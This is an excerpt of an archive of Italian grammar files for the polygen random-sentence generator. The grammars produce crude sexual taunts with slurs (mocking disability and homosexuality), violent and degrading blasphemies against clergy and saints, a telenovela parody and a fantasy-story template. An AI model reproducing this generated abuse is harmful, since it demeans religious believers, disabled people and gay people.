LEI: lei mi e' ) (cadut | scivolat | venut | cascat | inciampat)^(M:o|F:a) SU) | (TU:(tu te ne intendi | tu ne sai qualcosa | tu sei un^(M:""|F:') espert^(M:o|F:a)) | LEI:(lei se ne intende | lei ne sa qualcosa | lei e' un^(M:""|F:') espert^(M:o|F:a))) DI | (TU : ti piace | LEI : le piace) proprio OGGETTO.(M|F) | io lo so (TU: che cosa fai | LEI: che cosa fa) con OGGETTOINV (M:(di (TU:tua|LEI:sua) moglie)| F:(di (TU:tuo|LEI:suo) marito)) | (TU:(dovresti VERBOINF | bisogna che tu (mi|ti) VERBO )| LEI: (dovrebbe VERBOINF | bisognerebbe che lei (mi|si) VERBO^sse) )MODO; OGGETTO ::= M:(il gazzo | (l'uccello | il (TU:tuo|LEI:suo) uccello) | il cippirimerlo) | F:( la [TU:tua|LEI:sua] topa | la fungia | la [TU:tua|LEI:sua] passera ); OGGETTOINV ::= F:(il gazzo | l'uccello | il cippirimerlo | la fungia ) | M:( la topa | la passera ); SU ::= sull'uccello | sulle palle | sullo scroto | sulla topa ; DI ::= di uccelli | di palle | di scroti | di passere | di tope | di cippirimerli ; VERBOINF ::= darl(M:^o|F:^a) via | scopare | accarezzarmi | grattarmi | toccarmi | succhiare ; MODO ::= piu' spesso | con piu' gusto | di piu' | meglio; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | PUE: ^"!"\ | V: ^"," | PI: ^"?"\ ); VERBO::= TU:(gratti | sgrulli | lisci | accarezzi | mangi | lecchi | tocchi | succhi | inali | stimoli) | LEI:(gratta | sgrulla | liscia | accarezza | mangia | lecca | tocca | succhia | inala | stimola); CT ::= [ma] (TU:( ([dimmi SEGNO.V] [tu] sei) | ti vedo | mi sembri ) |LEI:( ([mi dica SEGNO.V] [lei] e') | la vedo )) AGG; AGG ::= gai(M:^o|F:^a) | pur(M:^o|F:^a) e cast(M:^o|F:^a) | impotente | vedov(M:^o|F:^a) | invecchiat(M:^o|F:^a) | ingrassat(M:^o|F:^a) | [diventat(M:^o|F:^a)] piu' brutt(M:^o|F:^a) | ammalat(M:^o|F:^a) | ---trisomic(M:^o|F:^a); polygen-1.0.6.ds2/grm/ita/autobus.grm0000644000175000017500000001471310340417034016737 0ustar enricoenricoI ::= "title: Autistic-Bustreo Simulator\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: l'Autistico e chi lo conosce\n" ^ "disclaim:" le blasfemie qui generate non vanno interpretate come un'attacco dell'autore alle "Istituzioni" religiose ne' alla cultura "Cristiana","" ma solamente come una caricatura ovvero una simulazione iperbolica delle colorite espressioni utilizzate dal dedicatario della presente grammatica^"\n" ^ "created: 15/03/2003" ; S ::= ( Amico := Amici ; Alberto := Alberti ; QAmico := Amico^": \""^\ ; QAlberto := Alberto^": \""^\ ; QAlberto Amico^"," comincia a bestemmiare^"!" \Blasfemie QEM QAmico (minchia | porcoddue | [la] madonna) ^"!"\ (che | cosa) (cazzo | minchia) (c'e' | e' successo | succede)^"," Alberto QQM QAlberto [(Amico | ragazzi | fioi | vecchi)^","] Coda QPM ) ; QPM := ^".\"\n"^ ; QQM := ^"?\"\n"^ ; QEM := ^"!\"\n"^ ; Alberti := "Alberto" | "Bieco" | "Osc" ; Amici ::= "Fede" | "Alvise" | "Franz" | "Helder" | ("Guasto" | "Marcio") | "Secchio" ; Coda ::= si e' appena liberato un (parcheggio | posto) | sta cominciando a (piovere | nevicare | far (caldo | freddo)) | non fanno niente per televisione | (mi tocca | devo) ( fare (benzina | gasolio | un prelievo) | chiudere casa ) | sono gia' le (7 | 8 | 9) [^":"^30] | e' finito il (pane | formaggio | galateo | sale | pepe |+ mare) | Amici. e' (gia' arrivato | in ritardo) | abbiamo sbagliato strada | si e' sporcato >( lo specchietto | il (finestrino | parabrezza | faro) ) della macchina ; Blasfemie ::= Blasfemia^"," Blasfemia^"," Blasfemia [^"," Blasfemia [^"," Blasfemia]] ; Blasfemia ::= (spacca | rompi | rovescia) {Ogg} {in testa Clero.a.S} | trascina {Clero.art.S [per Capelli]} {(per |+ lungo) Luogo} | prendi Clero.art.S per Capelli | (strappa | tira | straccia | squarcia | frantuma) Capelli Clero.a.(S|P) | ( brucia | incendia | straccia | radi al suolo | profana | incenerisci | distruggi | scassina | sconsacra | squarcia | frantuma | saccheggia ) (Ogg | Luogo) | (desepellisci | disossa) Santo | (sco^[r^]reggia | rutta | caga | sbocca | vomita) (in (testa | faccia | mano) | (nel | dentro il) teschio) Clero.a.S | (riempi di | massacra di | prendi a) (pugni | botte | calci | testate | legnate) Clero.art.(S|P) | (svuota | rovescia) {un (water | secchio | catino | cesso) [pieno] di (guano | merda)} {(in (testa | faccia) | addosso) Clero.a.S} | bestemmia ( i ["Dieci"] "Comandamenti" | il "Padre Nostro" | "l'Ave Maria" | il nome Clero.di.S | i nomi Clero.di.P ) | insulta Clero.art.(S|P) [durante Evento] ; Evento ::= la ["Santa"] "Messa" | "l'Omelia" | la predica [domenicale] | il "Giubileo" | la "Settimana Santa" | la "Pentecoste" | il "Concilio" ("Vaticano" Num | di ("Trento" | "Nicea" | "Ecumenico")) ; Ogg ::= >> la porta (del "Giubileo" | di > le (sale | stanze | navate [laterali] | sagrestie | catacombe | cripte) "Vaticane" | il "Vaticano" | il "Santo Sepolcro" | (la basilica | il monastero | il duomo | la cattedrale | l'abazia | la chiesa) di ( "Francesco" | "Pietro" | "Marco" | "Giovanni" | "Gennaro" | "Nicola" | "Sebastiano" | "Barnaba" | "Lorenzo" | "Tommaso" ["d'Aquino"] ) [apostolo | evangelista] | "Santa" >("Chiara" | "Lucia" | "Caterina" | "Maria Maddalena" | "Madre Teresa di Calcutta") [vergine] | "Sant'" ^ >("Anna" | "Agata" | "Aurelia" | "Antonio") | "Papa" >( "Clemente" | "Bonifacio" | "Celestino" | "Gregorio" ["Magno"] | "Giovanni Paolo" | "Pio" | "Paolo" | "Giovanni" ) [Num] ; Num ::= "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" ; Capelli ::= i capelli | le orecchie | la coppa | la barba | i peli [pubici] | il coppino | i testicoli | i calcagni | le unghie | i calli | i reni | il saio | il cappuccio | le vesti | la papalina | la stola ; Clero ::= S: ( (a: al | art: il | di: del) ( "Papa" | "Conclave" ["Vaticano"] | "Pontefice" | "Signore" | sagrestano | parroco ) | (a: a | art: _ | di: di) (Santo | Eminenza | "Sua Eminenza" Clero.art.S.) | (a: alla | art: la | di: della) ("Madonna" | "Monaca di Monza" | perpetua) ) | P: ( (a: ai | art: i | di: dei) ( >("Santi" | "Martiri") [della "Chiesa"] | "Frati" ("Capuccini" | "Francescani" | "Benedettini") | "Padri" ("Salesiani" | "Domenicani" | "Murialdini") | preti | vescovi | cardinali | monaci ["Benedettini"] ) | (a: alle | art: le | di: delle) ( ("Sorelle" | "Suore") ("Carmelitane" [scalze] | di clausura | salesiane | domenicane) ) ) ; Eminenza ::= il "Cardinale Richelieu" | il "Cardinal Martino" | "Padre Biffi" | il "Vescovo Milingo" | "Padre Orbieto" | "Don Abbondio" ; Titolo ::= vicario | [arci^]vescovo | reverendo | cardinale | sagrestano ; polygen-1.0.6.ds2/grm/ita/chicoypaco.grm0000644000175000017500000002075310340417034017377 0ustar enricoenricoI ::= "title: Chiquito y Paquito\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: telenovela\n" ^ "comment: basato sulla parodia delle telenovelas di e con Massimo Olcese e Adolfo Margiotta.\n" ^ "ps: la verita' e' che tu (si' proprio tu che stai" (+leggendo|Verb.Ger) ^") sei" (Cosa|Chi)^".\n" ^ "created: 20/11/2004"; S ::= ""^Puntata^"\n\n"^ (-_|Battuta.C Battuta.P) (-_|Battuta.C Battuta.P) Battuta.C (* per fare in modo che una puntata sia anche di una sola battuta, tipo: "-123a puntata- Paco: e quindi? -fine-*) "\n-Fine" Puntata^"-"; Paco := "Paco"; Cico := "Chico"; Inizio ::= ""^(P:Paco|C:Cico)^""^[+_|-" ["^(Verb.Si|-Verb.Ger [-_|+Cosa]|arrabbiato|sorpreso|bisbigliando|urlando|preoccupato|++in posizione yoga)^"]"]^":"; InizioNormale ::= (P:Inizio.P|C:Inizio.C); InizioInverso ::= (P:Inizio.C|C:Inizio.P); Battuta ::= (P: Inizio.P \ Frase.P [++_|-(^"..."|\) Frase.P] |C: Inizio.C \ Frase.C [++_|-(^"..."|\) Frase.C])^"\n"^ Imprevisti [Imprevisti]; Frase ::= (-ciao (P:Cico|C:Paco)^"." |non mi fido di (te|Chi)^"." |Chi [non] si (++fidava|Verb.P3Imp) di (me|te|Chi|-Cosa) [Dove]^"." |Verb.Imp [Chi] PacoCico Punto |Verb.(Mi|Ti) [Cosa] PacoCico ^"." |[(scusami|Verb.(Mi|Ti))^","] stavo Verb.Ger [Persona|Cosa] [Dove] PacoCico^"." |Chi [non] (e' Chi|(e'|ha) Cosa) PacoCico Punto |chi e' Chi PacoCico^"?" |[non] e' (Chi|Cosa|Dove) Punto |io lo so che (Verb.(P1|P2|P3|P3Imp|Cond|+Rem)|(hai|ho) (torto|ragione)) PacoCico^"." |++[non] Verb.(P2|+Rem|Cond) (++il ragionamento|-Nome.(M|F).Il)^"." |perche' Verb.(P1|P2|P3|P3Imp|Cond|+Rem) Punto |++(+infatti|[[non] e']vero|si'|no|ehhh|certo|ma cosa dici) [^"," e' [im^] possibile] PacoCico ^("."|"!") |++(si'|certo|infatti)^", ma e' " Aggettivo.(M|F) Punto |dove (hai|ho) (torto|ragione) PacoCico^"?" |+dove ((sto|stai) Verb.Ger|(hai|ho|ha) Verb.Part|Verb.Cond) PacoCico^"?" |tu Verb.(P2|+Rem) PacoCico Punto |[non] (ha a che (fare|vedere|-Verb.Inf)|Verb.P3Imp) con Chi Punto |Verb.Ti PacoCico^"," (ora|adesso) ti (++diro'|Verb.Fut) (+un [altro] segreto|-Cosa)^"." |ecco perche' ((sto|mi (sento|Verb.P1)|ti (senti|Verb.P2)|Chi (sta|si (sente|Verb.(P3|P3Imp)))) (bene|male)|--(ho|hai) Cosa)^"." |ecco perche' [Chi] ((e'|ha) Cosa|Verb.(P3|P3Imp))^"." |perche' mi hai fatto Verb.Inf PacoCico^"?" |+ora mi (+spiego|-Verb.P1) (Nome.(M|F).Il [di Chi][Dove]|perche' Verb.P3Imp [Cosa] [Dove])^"." |++++e (allora|quindi|con questo|cosa (vorresti dire|Verb.Rem))^"?" |Chi si Verb.(P3|P3Imp) di (me|te|Chi|Cosa)^"." |++++(perche'|++la verita' e' che) (Chi [non] e'|+io [non] sono|tu [non] sei) (+Chi|Cosa) PacoCico^"." |Chi (Verb.P3|[si] sta Verb.Ger) Punto |tu Verb.Cond (Chi|Cosa)^"?" |cosa (mi (++devi|dovresti)|ti (devo|dovrei)) (dire|Verb.Inf)^"?" |-Cosa si basa su (+un assurdo|Cosa) PacoCico Punto |++Verb.(Mi|Ti) PacoCico^"," Verb.(Mi|Ti) (cosi'|ancora|di piu') (^"."|+((^"," non Verb.Inf [Cosa|Chi][Dove])+)+^".") |-Chi e' una delle Numero^" "^personalita' di Chi PacoCico Punto |-ho (Verb.Part|+visto) Chi (mentre|quando) (Verb.P3Imp|stava Verb.Ger) (Chi|Cosa) PacoCico ^"." |-Verb.Inf non fa per (me|te|-Chi) PacoCico ^"." |-(oggi|domani|ora|adesso) (devo|dovresti|dovrei) andare Dove^"." |++non (+farlo|Verb.(+Inf|Cond)) PacoCico ^"," [lo sai che] c'e' (Chi|Cosa)^"." |[che] cos'e' Nome.(M|F).Il PacoCico^"?" |Chi e' Cosa^"." |(io [non] l'ho|tu [non] l'hai|Chi [non] l'ha) Verb.Part PacoCico Punto |se (io fossi|(+Chi|-Cosa) fosse) in (me|te|Chi|Cosa) e (tu fossi|Chi fosse) in (me|te|Chi|Cosa)^"," quante probabilita' avremo di (riconoscerci|Verb.Ci)^"?" |+(e' Giorno|ero sul piu' (bello|Aggettiv.M)|sono solo le Cifra del mattino|stavo Verb.Ger Chi) PacoCico ^", perche' mi hai fatto venire?" |++++(ti ricordi di|hai presente) Chi PacoCico^"?\n" ^(P:(-_|"[Paco mostra" (+un portaritratto|una foto) di Cosa ^"]\n") "Chico: No.\nPaco:"\(+neanch'io|-io si')^"." |C:(-_|"[Chico mostra" (+un portaritratto|una foto) di Cosa ^"]\n") "Paco: No.\nChico:"\(+neanch'io|-io si')^"." ) (* problemi con label incapsulate(?) *) |perche' sono cosi' Aggettivo.M PacoCico ^"?" |Chi e' Aggettivo PacoCico Punto |+(tu sei|io sono|Chi e') (+morto|-Verb.Part) Dove PacoCico ^"!" |Verb.(-P2|+Ti) PacoCico ^", devi" Verb.Inf o Chi ti Verb.FutP3^"!" |+ma perche' [non] [ti] Verb.P2 PacoCico^"?" |ti rendi conto di quello che (mi|ti) stai (chiedendo|dicendo|-Verb.Ger)^"?" |Verb.Rem^"!" |Chi Verb.P3Imp PacoCico^"?" |-oh PacoCico^"!" \ Chi ^"," (([chissa'] (perche'|+dov'e')^"?"\)+)+ |++ti piace (la mia Nome.F.NoArt|il mio Nome.M.NoArt|Cosa) PacoCico^"?\n"^(P:"Chico: No.\nPaco: Neanche a me."|C:"Paco: No.\nChico: Neanche a me.") (* idem? *) |+"ma come" PacoCico ^", l'ho visto io che" Verb.P3Imp [Cosa|Chi] [Dove] PacoCico ^"!" |e' per questo che ti ho fatto (+venire|Verb.Inf)^"." ); Punto ::= ^(+"."|--"?"|"!"); Imprevisti ::= (+_|-"["^ ("*"^(dr^(iii^)+n|(plin|plon)(^"-"^(plin|plon))+|toc(^"-toc")+)^"*" |+schiaffo a (Paco|Cico) |Paco (guarda|abbraccia|-Verb.P3) Cico|Cico (guarda|abbraccia|-Verb.P3) Paco |(Cico|Paco) guarda (nel vuoto|il pavimento|Nome.(M|F).Il) |-(Paco|Cico) Verb.P3 Nome.(M|F).Il |(Paco|Cico) ([pro^]va a Verb.Inf [Nome.(M|F).Il]|se ne va) |++(Cico|Paco) si (sdraia|+mette in posizione yoga|+siede|+alza|gira [dall'altra parte]) |(Cico|Paco) (Verb.P3 [Cosa]|(abbassa|alza) lo sguardo|(sta per mettersi|scoppia) a piangere) |(Cico|Paco) (mostra|guarda) (+un portaritratto|una foto) di Cosa |+("..."^)+ )^"]\n"); Verb ::= (++(ricord|guard|+affrust|strangol|scav|pens|violent|approfitt|accett|cigol|++rannicchi|spalm|confess|mostr|err|schiant|sput)^(P1:o|P2:i|P3:a|Mi:ami|Ti:ati|Si:andosi|Ci:arci|Imp:a|Cond:eresti|Ger:ando|Rem:asti|Fut:ero'|FutP3:era'|Part:ato|P3Imp:ava|Inf:are) |-----(riflett)^(P1:o|P2:i|P3:e|Mi:imi|Ti:iti|Si:endosi|Ci:erci|Imp:i|Cond:eresti|Ger:endo|Rem:esti|Fut:ero'|FutP3:era'|Part:uto|P3Imp:eva|Inf:ere) |-----(esist)^(P1:o|P2:i|P3:e|Mi:imi|Ti:iti|Si:endosi|Ci:erci|Imp:i|Cond:eresti|Ger:endo|Rem:esti|Fut:ero'|FutP3:era'|Part:ito|P3Imp:eva|Inf:ere) ); Persona ::= (N: (AggPoss:_ |NoAgg:_) (-_|+\(mary|mc^|fritz|cacio|jordan|jennifer|pamela|arthur))\(annhofer|papena|stangassinger|barrazza|caliendo|ortega) |F: (AggPoss:(mia|tua|nostra)|NoAgg:_) (moglie|madre|figlia|nonna|zia|cugina|sorella) |M: (AggPoss:(mio|tuo|nostro)|NoAgg:_) (marito|padre|figlio|nonno|zio|cugino|fratello) ); Nome ::= (M: (Un:un |Il:il |Nel:nel |NoArt:_) (+bidello|tavolo|cassetto|+minorchio|+postrugno|+cotrogno|tucano|+ragionamento|+postulato|+chirurgo|+ghiacciolo|+picozzo|+pizzo|+meridiano|merluzzo|mocambo|portaritratto) |---M:(Un:un |Il:l'^|Nel:nell'^|NoArt:_) (agente segreto|armadio|uomo|ermafrodita) |F: (Un:una|Il:la |Nel:nella |NoArt:_) (donna|bidella|ninfomane|+minorchia|+postrugna|+cotrogna|porta|finestra|barba|maniglia|tubatura|pala|+trascendenza|cicogna|casa|mongolfiera) ); Dove ::= (da|a casa di) Chi|+Nome.(M|F).Nel|a ("Dresda"|"Tolone"|"Spitzfield")|al forno [di Chi]|nel (mio|tuo) intimo; Cosa ::= Nome.(M|F).Un; Chi ::= Persona.(M|F|N).AggPoss; Giorno ::= \(natale|pasqua|ferragosto|quaresima); Aggettiv ::= ( (meridionale|perpendicolare|ermafrodita|sterile|incinta|intelligente) |(bell|brutt|alt|bass|mort|viv|amat|scem|timid)^(M:o|F:a) ); Aggettivo ::= Aggettiv.(M|F); PacoCico ::= [^"," (P:Cico|C:Paco)]; Cifra ::= 1|2|3|4|5|6|7|8|9; Numero ::= ((Cifra^)+)+; Puntata := Numero^"a puntata"; polygen-1.0.6.ds2/grm/ita/cug.grm0000644000175000017500000000255310340417034016032 0ustar enricoenrico I ::= "title: Autostorpiatore\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: heraldic?\n" ^ "warning: in realta' mi chiamo "^CUG^".\n" ^ "warning2: si', ho l'erre moscia. E allora?.\n" ^ "disclaim: vorrei farvi notare che se sfogliate un libro di storia non troverete mai un personaggio chiamato "^CUG^"." ; S::= CUG; CUG ::= [Titolo] {[Altro]} {Carlo} [\Umberto] Grazia [Numero] ; Altro ::= \ (giuseppe | ------ vittorio \emanuele | -------------obi^"-"^\wan [\kenobi] ) ; Carlo ::= \ ( (----car^|+++++_)ca^R^l^(+++o^(++++""|---s)|--etto|Umberto|omagno|omartello) ); Umberto ::= ( +++u[^m^] | (e|a)^R^i | fili | dago | al | ---tale | gia^(m|ndo) ) ^ ( ++++be^R^t^(+++o|ide|oldo|uccio) | baldo | ---bano | bestio | pesce | boia | ---fredo ); Grazia ::= [\[gian^]maria] \ [dis^] ( g^R^azi^(a|e) | garcia | grazia [e \giustizia | \graziella e \grazie al \cazzo] ) ; Titolo ::= \ (re | conte | duca | marchese | ammiraglio | barone | capitano | --guardiamarina ); Numero ::= "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | ^"-X" | "XI" | "XII" | "XIII" ; R::=++++++"r"|--------"V";polygen-1.0.6.ds2/grm/ita/polygen.grm0000644000175000017500000000226210340417034016726 0ustar enricoenrico I ::= "title: Autostorpiatore\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "comment: un tributo alla mia creatura\n" ^ "created: 28/06/2003" ; S ::= \ Polygen ; Polygen ::= Poly ^ Post |- Pre ^ Gen |---- Pre ^ Post ; Poly ::= >> + poly | polli |+ pul^IY | pol^(+ p |- s | t)^IY << ; Pre ::= >> Poly | f^olp^IY |- polpa | flopp^IY |- pom^IY |- [s^]por^(chi | CK^(IY |-- o)) |- togli | porr^IY | p^(l | r)^o^(x | tt)^IY |+ fott^IY | polka |- piomba | tont^IY | (f | t)^oss^IY | [s^]pomp^(+ IY | a) |- porf^IY | sborr^IY |- pont^IY |- foll^IY | tromb^IY | brod^IY |- pal^IY | m^(++ u | o)^lt^IY |- stronca | papp^(IY |- a) | puff^IY | pizza | mort^IY | storp^IY | pun^(t | g)^IY | funky | CK^a^CCKK^(IY |+ a) | sperm^(IY | a) | p^IY^zza << ; Gen ::= >> + gen |+ gel | jet |- gem |- gyn | gym << ; Post ::= >> Gen |- jam | web |+ dent |- selz | (+ b | p | t)^el |+ cess | snell | se^CCKK |+ ben | sperm | cyd | flex << ; IY ::= i | y ; CK ::= c | k ; CCKK ::= (X := CK; X^X) ;polygen-1.0.6.ds2/grm/ita/kassander.grm0000644000175000017500000005051610340417034017231 0ustar enricoenricoI ::= "title: Cronichles of Kassander, detto anche"NICKNAME"\n" ^ "author: Thzak - webmaster@procionegobbo.it\n" ^ "language: italian\n" ^ "status: final(?)\n" ^ "topic: fantasy story\n" ^ "audience: La Compagnia del Girfalco\n" ^ "thanks to: CUG (per "^(l'i^|la)"spirante grammatica FantasyFiction)\n" ; S::=STORIA"\n"; STORIA ::= Incipit ^".\n
" Incipit2 ^".\n
" \nato QUANDO.T nella AggTerra TipoTerra di \REGNO^ [(^"," venne adottato da una coppia di|da genitori)SPECIALpx. ["," madre ARMA1.f e padre SPECIAL1]] ^",\n" crebbe tra (SPECIAL2x|SPECIALpx. e SPECIALpx.) ^"," somigliando[^", pero',"]sempre piu' ad un (bellissimo|orrendo|ributtante|attraente) (+++RAZZA2|ARMA2.m) ^".\n
" LAVORO ^".\n
" EPICA ^".\n
" EPICA2 ^".\n
" \([in seguito ad DELUSIONE|a causa di DELUSIONE]AZIONEVILE) ( ((un|il suo [stesso]|qualche|mezzo|tre quarti di|un [gran][bel]pezzo di) (ARMA2 [ARMA1]|+[ARMA1] ARMA2)).m | ((una|la sua [stessa]|qualche|mezza|tre quarti di|un [gran][bel]pezzo di) (ARMA2 [ARMA1]|+[ARMA1] ARMA2)).f | ((un|il suo [stesso]|qualche|mezzo|tre quarti di|un [gran][bel]pezzo di) (RAZZA2|AGGETTIVO1)) ) [ma fu' VERBO da(^SPECIAL2x|CIFRA SPECIALpx.|un gruppo di SPECIALpx.)] e >(fuggi'|si rifugio'|si trasferi'|emigro'|fu VERBO) nelle AggTerre [(nonche'|e) AggTerre] TipoTerre di \REGNO dove QUANDO.N decise di (MISSIONE|MISSIONEp1^si) ", in questo," fu (aiutato|incoraggiato|ostacolato|bloccato) da un SPECIAL1[armato con (un ARMA.m|una ARMA.f)] e DECISIONE".\n
" \con la sua unica arma^"," (un ARMA2.m|una ARMA2.f)^"," si libero' di(INQUANTI|tutti i)nemici [e (INQUANTI|tutti gli) amici[^", tutti quelli che aveva,"^]] cercando di MISSIONEp1^e (un ARMA2.m|una ARMA2.f|+un [feroce] RAZZA2|SPECIAL2x) ".\n
" \TRASC ben CIFRA UNITA [a \REGNO]^"," in compagnia di un [RAZZA2] AGGETTIVO1 SPECIAL1 di nome NomeAmico e (visto|deciso|scoperto|appurato) che somigliavano entrambi a de^SPECIAL2x (( ( (divennero|si scoprirono)pure| (furono (additati come|chiamati|conosciuti come) )| (si (DISPREZZO.lo|videro anche) come) ) SPECIALpx. ^[","appena prima di MISSIONEp1^(e (un ARMA2.m|una ARMA2.f)|si)] ) | (si DISPREZZO (allegramente|con rammarico|tristemente|con amore)) ) ^".\n
" \erano ormai (sulla lista nera de|odiati da|cacciati da)^SPECIAL2x [perche' avevano VERBO >(una coppia di SPECIALpx.|++INQUANTI SPECIALpx.|tutti SPECIAL2)]".\n
" \per loro [s^]fortuna avevano le schiere de^SPECIAL2 a difenderli e (scortarli|deportarli|esiliarli) (a|nella AggTerra TipoTerra di)\REGNO".\n
" \purtroppo il posto era (in subbuglio|sotto assedio|nel caos totale) e re \azun^RE chiese loro di difendere il trono^".\n
" NomeEroe^" "^era armato con (un ARMA.m|una ARMA.f) e il suo compagno NomeAmico^" "^impugnava (un ARMA.m|una ARMA.f)^".\n
" \alla guida di (una DimEsercito.f|un DimEsercito.m) di SPECIALpx. si lanciarono contro l'esercito de^ (SPECIAL2x invasori| gli invasori"," che per la cronaca erano quasi tutti SPECIALpx. ) ^".\n
" \NomeAmico cadde' nella battaglia VERBO da un RAZZA2 SPECIAL1 di nome NomeNemico^"," capo (della DimEsercito.f nemica|del DimEsercito.m nemico)^".\n
" \l'urlo di NomeEroe echeggio' nella battaglia"," si lancio' contro NomeNemico e lo AZIONEVILE.z con (una ARMA2.f[^ta]|un ARMA2.m) stordendolo".\n
" "Al che il fellone urlo':\""^FRASENEMICO^"\"
" \i due nemici lottarono per CIFRA UNITA senza fermarsi (fino a quando | "," NomeEroe (aveva quasi VERBO|era stato quasi VERBO da) NomeNemico quando) (molti[^ssimi]|migliaia[di coppie di]|Cifretta.nz[coppie di]) SPECIALpx. (in fuga|di passaggio|locali|illusori)^"," [[in^]seguiti da (un ARMA2.m|una AggTerra ARMA2.f|un [feroce] RAZZA2)^","] [(si fermarono[improvvisamente]|li videro|li bloccarono)e] li DISPREZZO.lo [senza (preavviso|pieta')|simpaticamente|per il gusto di dare fastidio]^".\n
" \da allora NomeEroe cerca vendetta e la sua (ARMA1.f|AggTerra) ira non si plachera' fino a quando non avra' VERBO NomeNemico ", solo allora potra' dedicarsi al suo sogno:" MISSIONE".\n

" "CONTINUA..." PulsanteAncora ; (*---------------------------------------------------------------------------------------------------------*) (*Simboli per la gestione HTML*) (*---------------------------------------------------------------------------------------------------------*) (*Bottone di reload della pagina*) (*PulsanteAncora :="
";*) (*Commentare la riga sopra e decommentare quella sotto per eliminare il bottone*) PulsanteAncora :=_; (*extented version con google search dei mostri*) (*SPECIAL2x ::= (Mostr := SPECIAL2;"" ^Mostr^ "");*) (*SPECIALpx ::= (Mostr := SPECIALp.;"" ^Mostr^ "");*) (*per rimovere commentare le righe qui sopra e decommentare le due qui sotto*) SPECIAL2x ::= SPECIAL2; SPECIALpx ::= SPECIALp.; (*---------------------------------------------------------------------------------------------------------*) NomeEroe := ""\(++k|c)^PARTE^(PARTE^)+" "[COGNOME]""; NomeAmico := ""\PARTE(^PARTE)+([di]\REGNO|COGNOME)""; NomeNemico := ""\PARTE(^PARTE)+[di]\REGNO""; PARTE ::= ass|and|er|og|ol|or|ach; COGNOME ::= -[\de|de]\(r|t|p|s|d|f|g|l|z|c|v|m)^PARTE2^(PARTE2^)+ ^VOC" "; PARTE2 ::= VOC^ss|VOC^nd|VOC^r|VOC^g|VOC^l|VOC^r|VOC^ch|VOC^n|VOC^f|VOC^d|VOC^r|VOC^c|VOC^p|VOC^nd|VOC^n|i^VOC; VOC ::= (a|e|+i|+o|u|-y); NICKNAME := ----(figlio di \(PARTE^PARTE [\COGNOME])) | \[ARMA1.m] \(AGGETTIVO1|CLASSE|RAZZA2) ; RAZZA ::= [mezz^]elfo [[poco|molto|leggermente|troppo|quasi|apparentemente]oscuro]; CLASSE ::= ["finto-"^] guerriero|mago|pastore[ di SPECIALp.]| ninja|assassino|ladro|traditore|ranger|cacciatore|cabarettista| terrorista|prete|addestratore[ di SPECIALp.]|chirurgo[plastico]|ginecologo|-SPECIAL1| pilota[di(\f1|rally|caccia|linea|tricicli)|spaziale]|contadino|minatore|erborista|spacciatore|frate[francescano|domenicano|gesuita|eretico]| monaco[shintoista|buddista]|eremita; SPECIAL1 ::= cieco|sordo|muto|[falso] \dio [del (male|bene)] [in incognito]|morto|demente|falso| comico|saggio|valoroso|peloso|superdotato|corto|cretino|pelato|dilatato| metereopatico|scureggiante; SPECIAL2 ::= i SPECIALp.ii | gli SPECIALp.gli ; SPECIALp ::= ii:( mangiatori di SPECIALp.|ciechi|sordi|muti|falsi dei[del (male|bene)][in incognito]| ["non-"^]morti|comici|tennisti|koboldi|cocomeri|tennisti|gay| golem| chierici[de^SPECIAL2]| lombrichi|pelati| capelloni|+(cavalieri [di \solamnia|di talos|neri|bianchi])| ladri|bardi|presentatori televisivi|\sith|colleghi|pelati|pelosi| (servi|fedeli|sudditi|succubi) de^SPECIAL2|ladri| guerrieri|re magi|maghi[neri|rossi|bianchi|verdi|del caos|reali]| draghi[rossi|verdi|neri|blu|d'oro|d'argento|bianchi]| gorilla[bianchi|nella nebbia]| demoni|baatezu|pit fiend|basilischi|pipistrelli|vampiri|beholder| bugbear|gatti|leoni|leprotti|leopardi|giaguari| centauri|ciclopi|giganti[delle colline|delle tempeste|dei ghiacci|del fuoco|delle montagne]| (lupi|cinghiali|corvi|pipistrelli|ratti)[mannari]| cani|delfini|maiali[^ni]|funghi|gargoyle|goblin| golem[d'osso|di ferro|di pietra|di carne|d'ambra]| gremlin|[demi^]lich|marinai|minotauri|mostri| cavalli|pony|rugginofaghi|tanar'ri|tarrasque|titani|trogloditi|tritoni|troll| vermi[iena] )| gli:( autisti[ di>( camion| bighe| pullman| autobus| tandem| [moto^]taxi| riscio') |^ci]| umani|elfi [oscuri]|gnoll|jedi|stupidi|anarchici|astrofisici| +(amici|amanti|adoratori|schiavi) de^SPECIAL2|sfigati| elementali[del fuoco|della terra|dell'acqua|dell'aria]| \antichi|orsi|insetti|efreeti|elementali[dell'aria|dell'acqua|del fuoco|della terra]| elfi[alti|dei boschi|silvani|marini|marinati|drow|grigi]| ettin|halfling|hobbit|ippocampi|umani|illithid|ogre|orchi| scorpioni|scheletri|slaad|spettatori|stegosauri|unicorni|yugoloth|yeti|zombi| \dei [infami] [del (male|bene)] [in incognito]| "NPC" ); MISSIONE ::= (farsi MISSIONEp1^e da MISSIONEp2)|(MISSIONEp1^"e " MISSIONEp2)[^", senza riuscirci"]; MISSIONEp1 ::= avvelenar|uccider|sterminar|spiar|schiacciar| disperder|derubar|cromar|baciar|aiutar|combatter| catturar|mangiar|disossar|affilar|arruolar|reclutar|incasinar|trombar| sodomizzar|far|convertir|processar|giudicar|[s^]verniciar; MISSIONEp2 ::= COMPAGNIA| (tutto il|mezzo|parte del|un) mondo| qualcuno [a caso]| ["tutti "] ^>SPECIAL2| il bene|il male| se stesso| LOCANDA|[tutto] il \toril| nessuno ; CIFRA ::= Cifretta.nz | CIFRA.nz [^CIFRA.] ; Cifretta ::= z: 0 | nu:1 | nz: ( 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; ARMA1 ::= f:(poderosa|grande|magnifica|divina|porca|sodomizzante|piccola|minuscola|autentica|incrinata|finta|micidiale)| m:(poderoso|grande|magnifico|divino|porco|sodomizzante|piccolo|minuscolo|autentico|incrinato|finto|micidiale) ; ARMA2 ::= f:( 